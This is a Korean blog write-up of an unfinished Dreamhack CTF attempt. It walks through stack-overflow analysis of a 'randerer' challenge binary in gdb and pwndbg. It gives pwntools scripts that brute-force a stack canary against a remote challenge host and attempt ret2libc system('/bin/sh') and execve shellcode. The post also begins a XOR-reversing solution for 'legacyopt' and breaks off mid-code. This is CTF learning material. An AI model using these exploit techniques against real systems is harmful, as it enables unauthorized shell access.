드림핵 S6R8 div2

goldenGlow_21·2024년 11월 17일
0

CTF 기록

목록 보기
1/4

randerer

파일

  • (deploy)
    - prob
  • Dockerfile
  • flag

카나리 값과 관련된 문제일 것...으로 보인다

풀이 시도

docker build -t pwnable_problem .

  • pwnable 이라는 이름의 Docker 이미지 만들기

docker exec -it loving_kilby /bin/sh

  • cmd 쉘과 Docker Container Exec 연결

간단한 file 명령어도 안되는 상태
apt-get update 시도
permission denied...?
sudo - 실패
커맨드 쉘(바깥으로 나옴)에서 root 권한 찾고 update 시도 - 성공

prob 분석

$ file prob
prob: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0b26e208c9dff6ec945f052ea2872c6e8df37ed8, for GNU/Linux 3.2.0, not stripped
  • 64비트 ELF 실행 파일
  • 동적 링크
  • 디버깅 심볼 제거 X(not stripped)
$ checksec --file=prob
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified        Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   48) Symbols       No    0        2               prob
  • Partial RELRO
    - 메모리에서의 읽기 전용 보호가 부분적으로 적용
    - GOT(Global Offset Table)가 완전히 보호되지 않았을 것...?
  • No Canary
    - 스택에 Canary가 없으므로 스택 오버플로우 공격이 가능
    - canary가 없다는 거였나...?
  • NX enabled
    - NX(Non-executable) 보호가 활성화되어 있어 스택에서 코드를 실행할 수 없음
    - 쉘코드를 직접 스택에 넣어 실행할 수 없으므로, ROP 또는 다른 방법을 이용해야 할 가능성
  • No PIE
    - 바이너리의 주소 공간 무작위화(ASLR)가 적용되지 않음
    - 특정 메모리 주소를 직접 공격하는 것이 가능할 것
$ gdb ./prob
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./prob...
(No debugging symbols found in ./prob)

gdb로 스택 오버플로우 취약점 공략 준비

(gdb) run
Starting program: /home/pwn/prob
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
time: 1727503447
input your data:

input을 넣어보면서 확인하자

(gdb) run
Starting program: /home/pwn/prob
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
time: 1727503447
input your data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: terminated Aborted
[Inferior 1 (process 3753) exited with code 01]

스택 스매싱을 감지하고 꺼버린다
일단 스택 오버플로우가 발생하며, 카나리가 없다는 건 확인
그럼 패딩 크기부터 찾아야 하는데...

(gdb) run
Starting program: /home/pwn/prob
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
time: 1727505744
input your data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: terminated Aborted
[Inferior 1 (process 3772) exited with code 01]
(gdb) info registers
The program has no registers now.
(gdb) x/32x $rsp
No registers.

이렇게 크래시 직후 바로 종료되면 레지스터를 못 보므로... 중단점을 걸고 보자

(gdb) break read 
Breakpoint 1 at 0x7ffff7ea37d0: file ../sysdeps/unix/sysv/linux/read.c, line 25.
(gdb) run 
Starting program: /home/pwn/prob [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". time: 1727505874 
input your data: 
Breakpoint 1, __GI___libc_read (fd=0, buf=0x7fffffffec50, nbytes=256) at ../sysdeps/unix/sysv/linux/read.c:25 25 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
(gdb) info registers 
rax 0x7fffffffec50 140737488350288 rbx 0x0 0 rcx 0x7ffff7ea3887 140737352710279 rdx 0x100 256 rsi 0x7fffffffec50 140737488350288 rdi 0x0 0 rbp 0x7fffffffec70 0x7fffffffec70 rsp 0x7fffffffec48 0x7fffffffec48 r8 0x11 17 r9 0x7fffffffc9be 140737488341438 r10 0x7ffff7d955e8 140737351603688 r11 0x7ffff7ea37d0 140737352710096 r12 0x7fffffffed88 140737488350600 r13 0x4012ab 4199083 r14 0x403e18 4210200 r15 0x7ffff7ffd040 140737354125376 rip 0x7ffff7ea37d0 0x7ffff7ea37d0 <__GI___libc_read> eflags 0x206 [ PF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 k0 0x1e0000 1966080 k1 0x221 545 k2 0x0 0 k3 0x0 0 k4 0x0 0 k5 0x0 0 k6 0x0 0 k7 0x0 0
  • rsi: 0x7fffffffec50 (입력 데이터를 저장할 버퍼의 주소)
  • rdx: 256 (입력 받을 최대 크기, 256바이트)
  • rip: 0x7ffff7ea37d0 (read 함수의 위치)

근데 이건 입력값이 없는 경우인데...

(gdb) x/32x $rsp 
0x7fffffffec48: 0x00401367 0x00000000 0x00000000 0x00000000 0x7fffffffec58: 0x00000000 0x00000000 0x9c745535 0x024f6648 0x7fffffffec68: 0x00000000 0x00000000 0x00000001 0x00000000 0x7fffffffec78: 0xf7db8d90 0x00007fff 0x00000000 0x00000000 0x7fffffffec88: 0x004012ab 0x00000000 0x00000000 0x00000001 0x7fffffffec98: 0xffffed88 0x00007fff 0x00000000 0x00000000 0x7fffffffeca8: 0xafa489e3 0x5e957ad3 0xffffed88 0x00007fff 0x7fffffffecb8: 0x004012ab 0x00000000 0x00403e18 0x00000000
  • 리턴 주소 (rsp)
    - 스택 덤프의 첫 번째 줄에서 확인할 수 있는 0x00401367은 프로그램의 리턴 주소일 가능성이 높음
    - 이 값은 나중에 스택 오버플로우가 발생하면 덮어쓰여질 수 있음
  • 버퍼 (rsi) 위치
    - rsi0x7fffffffec50에 저장된 입력 데이터를 가리키며, 스택 근처에서 데이터를 처리하고 있는 것을 알 수 있음

중단점을 read의 끝에 걸어야 입력값이 들어간 상태의 레지스터를 볼 수 있을 것 같다

(gdb) run
Starting program: /home/pwn/prob
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
time: 1727506320
input your data:
Breakpoint 1, __GI___libc_read (fd=0, buf=0x7fffffffec50, nbytes=256) at ../sysdeps/unix/sysv/linux/read.c:25
25      ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
(gdb) finish
Run till exit from #0  __GI___libc_read (fd=0, buf=0x7fffffffec50, nbytes=256)
    at ../sysdeps/unix/sysv/linux/read.c:25
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x0000000000401367 in main ()
Value returned is $1 = 95
(gdb) info registers
rax            0x5f                95
rbx            0x0                 0
rcx            0x7ffff7ea37e2      140737352710114
rdx            0x100               256
rsi            0x7fffffffec50      140737488350288
rdi            0x0                 0
rbp            0x7fffffffec70      0x7fffffffec70
rsp            0x7fffffffec50      0x7fffffffec50
r8             0x11                17
r9             0x7fffffffc9be      140737488341438
r10            0x7ffff7d955e8      140737351603688
r11            0x246               582
r12            0x7fffffffed88      140737488350600
r13            0x4012ab            4199083
r14            0x403e18            4210200
r15            0x7ffff7ffd040      140737354125376
rip            0x401367            0x401367 <main+188>
eflags         0x207               [ CF PF IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
k0             0x1e0000            1966080
k1             0x221               545
k2             0x0                 0
k3             0x0                 0
k4             0x0                 0
k5             0x0                 0
k6             0x0                 0
k7             0x0                 0
(gdb) x/32x $rsp
0x7fffffffec50: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffec60: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffec70: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffec80: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffec90: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffeca0: 0x41414141      0x41414141      0x41414141      0x070a4141
0x7fffffffecb0: 0xffffed88      0x00007fff      0x004012ab      0x00000000
0x7fffffffecc0: 0x00403e18      0x00000000      0xf7ffd040      0x00007fff

오 성공...
finish로 해당 함수가 끝나는 시점에 중단을 건 게 유효한 것 같다
0x7fffffffecb0에서 리턴 주소 0x004012ab 확인 가능
이제 리턴 주소를 덮어써보자
NX 활성화 상태이므로 프로그램 내에서 실행 가능한 함수로 점프해야 할 것으로 보임

위의 덤프 값 바탕으로 생각해볼 때, 0x7fffffffec50에서 0x7fffffffecb0까지 - A 104개를 채우면 될듯(96 + 8(SFP) = 104)

(gdb) p system
$3 = {int (const char *)} 0x7ffff7ddfd70 <__libc_system>

system 함수 위치 확보!
0x7ffff7ddfd70

(gdb) find 0x7ffff7a0d000, +9999999, "bin/sh"
warning: Unable to access 16006 bytes of target memory at 0x7ffff7a0d000, halting search.
Pattern not found.

libc 위치를 때려맞추고 넘어가려 했는데 안된 거 같다
먼저 메모리 구조부터 찾자

(gdb) info proc mappings
process 3777
Mapped address spaces:

          Start Addr           End Addr       Size     Offset  Perms  objfile
            0x400000           0x401000     0x1000        0x0  r--p   /home/pwn/prob
            0x401000           0x402000     0x1000     0x1000  r-xp   /home/pwn/prob
            0x402000           0x403000     0x1000     0x2000  r--p   /home/pwn/prob
            0x403000           0x404000     0x1000     0x2000  r--p   /home/pwn/prob
            0x404000           0x405000     0x1000     0x3000  rw-p   /home/pwn/prob
      0x7ffff7d8c000     0x7ffff7d8f000     0x3000        0x0  rw-p
      0x7ffff7d8f000     0x7ffff7db7000    0x28000        0x0  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7db7000     0x7ffff7f4c000   0x195000    0x28000  r-xp   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7f4c000     0x7ffff7fa4000    0x58000   0x1bd000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7fa4000     0x7ffff7fa5000     0x1000   0x215000  ---p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7fa5000     0x7ffff7fa9000     0x4000   0x215000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7fa9000     0x7ffff7fab000     0x2000   0x219000  rw-p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7fab000     0x7ffff7fb8000     0xd000        0x0  rw-p
      0x7ffff7fbb000     0x7ffff7fbd000     0x2000        0x0  rw-p
      0x7ffff7fbd000     0x7ffff7fc1000     0x4000        0x0  r--p   [vvar]
      0x7ffff7fc1000     0x7ffff7fc3000     0x2000        0x0  r-xp   [vdso]
      0x7ffff7fc3000     0x7ffff7fc5000     0x2000        0x0  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7fc5000     0x7ffff7fef000    0x2a000     0x2000  r-xp   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7fef000     0x7ffff7ffa000     0xb000    0x2c000  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7ffb000     0x7ffff7ffd000     0x2000    0x37000  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7ffd000     0x7ffff7fff000     0x2000    0x39000  rw-p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0  rw-p   [stack]
0x7ffff7db7000 - 0x7ffff7fa5000   (libc.so.6)

찾았다 요놈

(gdb) find 0x7ffff7db7000, 0x7ffff7fa5000, "/bin/sh"
0x7ffff7f67678
1 pattern found.

이제 Exploit을 짜보자
pwntools를 쓸 예정

from pwn import *

# 프로그램 실행
p = process('./prob')

# 패딩: 104바이트
padding = b'A' * 104

# system() 주소
system_address = p64(0x7ffff7ddfd70)

# "/bin/sh" 주소
bin_sh_address = p64(0x7ffff7f67678)

# 페이로드
exploit = padding + system_address + b'JUNKJUNK' + bin_sh_address

# 익스플로잇 전송
p.sendline(exploit)

# 쉘
p.interactive()

안된다... 보호 매커니즘이 있는 것 같다
일단 레지스터 값은 잘 들어간 것으로 보이니... 다시 해보자

pwndbg> break *main+199                                                                                           Breakpoint 1 at 0x401372                                                                                          pwndbg> run                                                                                                       Starting program: /home/noah/pwntools_IHHH/ctf/randerer/deploy/prob                                               [Thread debugging using libthread_db enabled]                                                                     Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".                                        time: 1727512927                                                                                                  input your data: aaaaa                                                                                                                                                                                                              Breakpoint 1, 0x0000000000401372 in main ()                                                                       LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA                                                                  ──────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────── RAX  0xc1fabff556f98216                                                                                           RBX  0                                                                                                            RCX  0x7ffff7e9f7e2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */                                                      RDX  0xc1fabff556f98216                                                                                           RDI  0                                                                                                            RSI  0x7fffffffdd50 ◂— 0xa6161616161 /* 'aaaaa\n' */                                                              R8   0x11                                                                                                         R9   0x7fffffffbabe ◂— 0x110000                                                                                   R10  0x7ffff7d915e8 ◂— 0xf001200001a64                                                                            R11  0x246                                                                                                        R12  0x7fffffffde88 —▸ 0x7fffffffe100 ◂— '/home/noah/pwntools_IHHH/ctf/randerer/deploy/prob'                      R13  0x4012ab (main) ◂— endbr64                                                                                   R14  0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401200 (__do_global_dtors_aux) ◂— endbr64             R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0                                                         RBP  0x7fffffffdd70 ◂— 1                                                                                          RSP  0x7fffffffdd50 ◂— 0xa6161616161 /* 'aaaaa\n' */                                                              RIP  0x401372 (main+199) ◂— cmp rdx, rax                                                                         ───────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────── ► 0x401372       <main+199>                      cmp    rdx, rax     0xc1fabff556f98216 - 0xc1fabff556f98216     EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]                                                                          0x401375       <main+202>                    ✔ je     main+229                    <main+229>                       ↓                                                                                                                0x401390       <main+229>                      mov    eax, 0       EAX => 0                                       0x401395       <main+234>                      leave                                                              0x401396       <main+235>                      ret                                <__libc_start_call_main+128>     ↓                                                                                                                0x7ffff7db4d90 <__libc_start_call_main+128>    mov    edi, eax     EDI => 0                                       0x7ffff7db4d92 <__libc_start_call_main+130>    call   exit                        <exit>                                                                                                                                            0x7ffff7db4d97 <__libc_start_call_main+135>    call   __nptl_deallocate_tsd       <__nptl_deallocate_tsd>                                                                                                                           0x7ffff7db4d9c <__libc_start_call_main+140>    lock dec dword ptr [rip + 0x1f0505]                                0x7ffff7db4da3 <__libc_start_call_main+147>    sete   al                                                          0x7ffff7db4da6 <__libc_start_call_main+150>    test   al, al                                                   ────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────00:0000│ rsi rsp 0x7fffffffdd50 ◂— 0xa6161616161 /* 'aaaaa\n' */                                                  01:0008│-018     0x7fffffffdd58 ◂— 0                                                                              02:0010│-010     0x7fffffffdd60 ◂— 0xc1fabff556f98216                                                             03:0018│-008     0x7fffffffdd68 ◂— 0                                                                              04:0020│ rbp     0x7fffffffdd70 ◂— 1                                                                              05:0028│+008     0x7fffffffdd78 —▸ 0x7ffff7db4d90 (__libc_start_call_main+128) ◂— mov edi, eax                    06:0030│+010     0x7fffffffdd80 ◂— 0                                                                              07:0038│+018     0x7fffffffdd88 —▸ 0x4012ab (main) ◂— endbr64                                                     ──────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────── ► 0         0x401372 main+199                                                                                       1   0x7ffff7db4d90 __libc_start_call_main+128                                                                     2   0x7ffff7db4e40 __libc_start_main+128                                                                          3         0x401175 _start+37                                                                                   ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> info registers                                                                                            rax            0xc1fabff556f98216  -4469048619764710890                                                           rbx            0x0                 0                                                                              rcx            0x7ffff7e9f7e2      140737352693730                                                                rdx            0xc1fabff556f98216  -4469048619764710890                                                           rsi            0x7fffffffdd50      140737488346448                                                                rdi            0x0                 0                                                                              rbp            0x7fffffffdd70      0x7fffffffdd70                                                                 rsp            0x7fffffffdd50      0x7fffffffdd50                                                                 r8             0x11                17                                                                             r9             0x7fffffffbabe      140737488337598                                                                r10            0x7ffff7d915e8      140737351587304                                                                r11            0x246               582                                                                            r12            0x7fffffffde88      140737488346760                                                                r13            0x4012ab            4199083                                                                        r14            0x403e18            4210200                                                                        r15            0x7ffff7ffd040      140737354125376                                                                rip            0x401372            0x401372 <main+199>                                                            eflags         0x207               [ CF PF IF ]                                                                   cs             0x33                51                                                                             ss             0x2b                43                                                                             ds             0x0                 0                                                                              es             0x0                 0                                                                              fs             0x0                 0                                                                              gs             0x0                 0                                                                              k0             0x1e0000            1966080                                                                        k1             0x1020              4128                                                                           k2             0x0                 0                                                                              k3             0x0                 0                                                                              k4             0x0                 0                                                                              k5             0x0                 0                                                                              k6             0x0                 0                                                                              k7             0x0                 0                                                                              pwndbg> x/64x $rsp                                                                                                0x7fffffffdd50: 0x61616161      0x00000a61      0x00000000      0x00000000                                        0x7fffffffdd60: 0x56f98216      0xc1fabff5      0x00000000      0x00000000                                        0x7fffffffdd70: 0x00000001      0x00000000      0xf7db4d90      0x00007fff                                        0x7fffffffdd80: 0x00000000      0x00000000      0x004012ab      0x00000000                                        0x7fffffffdd90: 0x00000000      0x00000001      0xffffde88      0x00007fff                                        0x7fffffffdda0: 0x00000000      0x00000000      0x1bdeebe5      0x8026deb0                                        0x7fffffffddb0: 0xffffde88      0x00007fff      0x004012ab      0x00000000                                        0x7fffffffddc0: 0x00403e18      0x00000000      0xf7ffd040      0x00007fff                                        0x7fffffffddd0: 0xa0dcebe5      0x7fd9214f      0x8154ebe5      0x7fd93106                                        0x7fffffffdde0: 0x00000000      0x00000000      0x00000000      0x00000000                                        0x7fffffffddf0: 0x00000000      0x00000000      0x00000000      0x00000000                                        0x7fffffffde00: 0x00000000      0x00000000      0xb12eef00      0x0542f8de                                        0x7fffffffde10: 0x00000000      0x00000000      0xf7db4e40      0x00007fff                                        0x7fffffffde20: 0xffffde98      0x00007fff      0x00403e18      0x00000000                                        0x7fffffffde30: 0xf7ffe2e0      0x00007fff      0x00000000      0x00000000                                        0x7fffffffde40: 0x00000000      0x00000000      0x00401150      0x00000000

0x7fffffffdd60: 0x56f98216 0xc1fabff5

카나리 값 확인
이걸 바탕으로 페이로드를 수정하자

from pwn import *

p = process('./prob')

padding = b'A' * 96

canary = p64(0xc1fabff556f98216)

sfp_padding = b'B' * 8

system_address = p64(0x7ffff7ddfd70)

bin_sh_address = p64(0x7ffff7f67678)

exploit = padding + canary + sfp_padding + system_address + b'JUNKJUNK' + bin_sh_address

p.sendline(exploit)

p.interactive()

이 짓을 두어번 반복하니... 카나리 값이 랜덤으로 제공되고 있다는 결론을 얻었다.
아래가 수정본

from pwn import *

# 원격 서버 정보
host = 'host3.dreamhack.games'
port = 13662

# Canary를 추출할 수 있도록 Canary 전까지 패딩을 준비
padding = b'A' * 96
canary = b''

# Canary의 8바이트를 하나씩 유추하는 과정
for i in range(8):
    # 원격 서버에 접속
    p = remote(host, port)
    
    # 서버에서 입력을 기다리는 메시지를 수신 (바이트로 처리)
    p.recvuntil(b"input your data:")
    
    # Canary의 현재까지 찾은 값과 새로운 바이트 시도
    for byte in range(256):
        attempt = canary + bytes([byte])
        # Canary 이후의 값을 덮어쓰지 않도록 패딩 추가
        p.sendline(padding + attempt + b'B' * (7 - i))
        
        # 서버 응답 수신
        result = p.recv(timeout=1)
        if b"stack smashing detected" not in result:
            # Canary 값이 맞으면 유출 성공
            canary += bytes([byte])
            log.info(f"Found Canary byte: {canary.hex()}")
            break
    
    # 연결 종료
    p.close()

# Canary가 유출되지 않은 경우 처리
if len(canary) != 8:
    log.error("Canary 유출 실패")

log.info(f"Leaked Canary: {canary.hex()}")

# Canary 이후의 구조 (SFP를 덮기 위한 8바이트 패딩)
sfp_padding = b'B' * 8

# system() 함수의 주소 (GDB에서 찾은 값 사용)
system_address = p64(0x7ffff7ddbd70)

# "/bin/sh" 문자열의 주소 (GDB에서 찾은 값 사용)
bin_sh_address = p64(0x7ffff7f63678)

# 리턴 주소로 system 함수의 주소를 덮고, system 함수의 인자로 "/bin/sh"의 주소를 전달
exploit = padding + canary + sfp_padding + system_address + b'JUNKJUNK' + bin_sh_address

# 원격 서버에 접속하여 exploit 전송
p = remote(host, port)

# 서버에서 입력을 기다리는 메시지를 수신 (바이트로 처리)
p.recvuntil(b"input your data:")

# 페이로드 전송
p.sendline(exploit)

# 인터랙티브 모드로 전환하여 쉘 획득
p.interactive()

근데 생각해보니까 원격 서버 상대로 했어야 하는데...

from pwn import *

  

# 원격 서버 주소 및 포트 설정

host = 'host3.dreamhack.games'

port = 8080

  

# Canary를 추출할 수 있도록 Canary 전까지 패딩을 준비

padding = b'A' * 96

canary = b''

  

# Canary의 8바이트를 하나씩 유추하는 과정

for i in range(8):

    for byte in range(256):

        # 원격 서버에 연결

        p = remote(host, port)

        attempt = canary + bytes([byte])  # Canary의 현재까지 찾은 값과 새로운 바이트 시도

        p.sendline(padding + attempt + b'B' * (7 - i))  # Canary 이후의 값을 덮어쓰지 않도록 패딩 추가

        # 정상 종료되는지 확인

        try:

            result = p.recv(timeout=1)

            if b"stack smashing detected" not in result:

                # Canary 값이 맞으면 리크 성공

                canary += bytes([byte])

                log.info(f"Found Canary byte: {canary.hex()}")

                break

        except EOFError:

            pass

        finally:

            p.close()

  

log.info(f"Leaked Canary: {canary.hex()}")

  

# Canary 이후의 구조 (SFP를 덮기 위한 8바이트 패딩)

sfp_padding = b'B' * 8

  

# system() 함수의 주소와 "/bin/sh" 문자열의 주소 (GDB에서 확인한 값 사용)

system_address = p64(0x7ffff7ddbd70)

bin_sh_address = p64(0x7ffff7f63678)

  

# 리턴 주소로 system 함수의 주소를 덮고, system 함수의 인자로 "/bin/sh"의 주소를 전달

exploit = padding + canary + sfp_padding + system_address + b'JUNKJUNK' + bin_sh_address

  

# 원격 서버에 연결하여 최종 페이로드 실행

p = remote(host, port)

  

# 페이로드 전송

p.sendline(exploit)

  

# 인터랙티브 모드로 전환하여 쉘 획득

p.interactive()

안된다... 뭐가 문제인걸까
계속 EOF가 나온다
아래는 쉘코드를 이용한 방법

from pwn import *

  

# 원격 서버에 접속

p = remote('host3.dreamhack.games', 13662)

  

# 패딩 크기 설정 (96 바이트 버퍼 + 8 바이트 카나리 이후 패딩)

padding = b'A' * 96

  

# Canary 값을 저장할 변수를 설정 (직접 덮지 않고, 카나리를 우회)

canary_padding = b'B' * 8

  

# 올바른 쉘코드 작성 (execve를 호출하여 /bin/sh 실행)

shellcode = asm('''

    xor rax, rax            # rax를 0으로 초기화

    mov al, 59              # execve 시스템 호출 번호 59 설정

    lea rdi, [rip+binsh]    # rdi에 "/bin/sh" 주소 설정

    xor rsi, rsi            # rsi = 0 (NULL)

    xor rdx, rdx            # rdx = 0 (NULL)

    syscall                 # 시스템 호출 실행

    binsh: .string "/bin/sh" # "/bin/sh" 문자열을 추가

''')

  

# Canary 이후의 구조 (SFP와 RET 덮기 위한 패딩)

sfp_padding = b'C' * 8

  

# 전체 페이로드 생성 (패딩 + 카나리 우회 패딩 + SFP 패딩 + 쉘코드)

payload = padding + canary_padding + sfp_padding + shellcode

  

# 페이로드 전송

p.sendline(payload)

  

# 인터랙티브 모드로 전환하여 쉘 접속

p.interactive()

물론 얘도 실패함...
일단 여기까지... 더 이상은 힘들 것 같음


legacyopt

사전 분석

주어진 legacyopt 파일을 HxD 에디터로 열람하면 가장 위의 .ELF 가 눈에 띈다.
즉, 이 파일은 실행 가능한 ELF 바이너리 파일이다.
리버싱을 통해 문제를 풀어보자

strings 검출

> strings legacyopt
/lib64/ld-linux-x86-64.so.2 mgUa __cxa_finalize fgets malloc strcspn __libc_start_main free strlen stdin __stack_chk_fail printf libc.so.6 GLIBC_2.4 GLIBC_2.34 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable PTE1 u+UH %02hhx :*3$" GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0 .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment
  • %02hhx
    - 출력을 16진수로 포맷할 때 사용됨
    - 즉 바이너리 데이터를 16진수로 출력하는 부분이 있을 것
  • fgets, printf, strcspn
    - 입력을 받아서 출력하는 데 사용
    - 플래그가 입력을 받아 처리되는 과정에서 출력될 가능성

IDA 분석

main으로 흐름 파악

  • 메모리 할당 및 입력
    - malloc을 사용하여 100바이트의 메모리를 할당
    - fgets를 사용하여 표준 입력(stdin)으로부터 최대 100자까지 문자열을 읽음
    - 읽은 문자열에서 줄바꿈 문자를 제거한 후, strlen을 이용해 문자열의 길이를 계산

  • sub_1209 함수 호출
    - 입력받은 문자열과 그 길이를 sub_1209라는 함수에 전달
    - 아마도 입력된 문자열을 특정 방식으로 변환하거나 처리하는 역할일듯

  • 16진수 출력
    - ptr에 저장된 내용을 16진수로 출력
    - 입력된 문자열이 변환된 후 ptr에 저장된 결과가 16진수로 출력되는 구조

sub_1209 들여다보기

입력된 문자열을 여러... XOR 연산을 통해 변환 과정을 거침
일련의 과정을 보니 제공된 output을 역산하는 것이 이 문제의 목적으로 보인다
최종적으로 변환된 값은 ptr에 저장됨

연산 흐름

  • 첫 번째 문자는 0x88과 XOR
  • 두 번째 문자는 0x66과 XOR
  • 세 번째 문자는 0x44와 XOR
  • 네 번째 문자는 0x11과 XOR
  • 다섯 번째 문자는 0x77과 XOR
  • 여섯 번째 문자는 0x55와 XOR
  • 일곱 번째 문자는 0x22와 XOR
  • 여덟 번째 문자는 0x33과 XOR
  • 그다음 다시 첫 번째 XOR 값으로 돌아가서 반복

역변환으로 input 값 찾기

def xor_decrypt(output_hex):

    # 16진수 문자열을 바이트 배열로 변환
    output_bytes = bytes.fromhex(output_hex)

  
    # XOR 연산에 사용할 키 값들 (0x88, 0x66, 0x44, 0x11, 0x77, 0x55, 0x22, 0x33)
    xor_keys = [0x88, 0x66, 0x44, 0x11, 0x77, 0x55, 0x22, 0x33]

  
    # 복원된 결과를 저장할 배열
    recovered = []

    # 바이트 단위로 XOR 연산 수행 (최대 8바이트 단위로 반복)
    for i in range(len(output_bytes)):
        # XOR 키는 8바이트씩 반복
        key = xor_keys[i % 8]
        # 복원된 값 추가
        recovered.append(output_bytes[i] ^ key)

    # 복원된 바이트 배열을 출력
    return recovered

# 주어진 output.txt의 16진수 문자열
output_hex = "220c6a33204455fb390074013c4156d704316528205156d70b217c14255b6ce10837651234464e"

# 복원된 입력(Flag)을 출력
recovered_bytes = xor_decrypt(output_hex)

# 복원된 바이트 배열을 ASCII 문자로 출력 (가능한 경우에만 출력)
flag = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in recovered_bytes])
print("Recovered flag (ASCII):", flag)

# 복원된 바이트를 16진수로 출력
print("Recovered flag (hex):", ''.join(f'{b:02x}' for b in recovered_bytes))
Recovered flag (ASCII): .j."W.w..f0.K.t..W!9W.t..G8.R.N..Q!.C.l Recovered flag (hex): aa6a2e22571177c8b16630104b1474e48c572139570474e483473805520e4ed28051210343136c

이거 아닌 거 같다...

def reverse_xor(output_hex):
    output_bytes = bytes.fromhex(output_hex)
    xor_keys = [0x88, 0x66, 0x44, 0x11, 0x77, 0x55, 0x22, 0x33]
    input_length = len(output_bytes)
    remainder = input_length % 8

    # switch-case에 따른 시작 인덱스 매핑
    switch_case = {
        0: 0,  # case 0: LABEL_4에서 시작 (키 인덱스 0)
        1: 7,  # case 1: LABEL_11에서 시작 (키 인덱스 7)
        2: 6,  # case 2: LABEL_10에서 시작 (키 인덱스 6)
        3: 5,  # case 3: LABEL_9에서 시작 (키 인덱스 5)
        4: 4,  # case 4: LABEL_8에서 시작 (키 인덱스 4)
        5: 3,  # case 5: LABEL_7에서 시작 (키 인덱스 3)
        6: 2,  # case 6: LABEL_6에서 시작 (키 인덱스 2)
        7: 1   # case 7: while 루프 내에서 시작 (키 인덱스 1)
    }

    key_index = switch_case[remainder]
    input_bytes = []

    for i in range(len(output_bytes)):
        key = xor_keys[key_index % 8]
        input_byte = output_bytes[i] ^ key
        input_bytes.append(input_byte)
        key_index += 1

    # 바이트 배열을 문자열로 변환
    try:
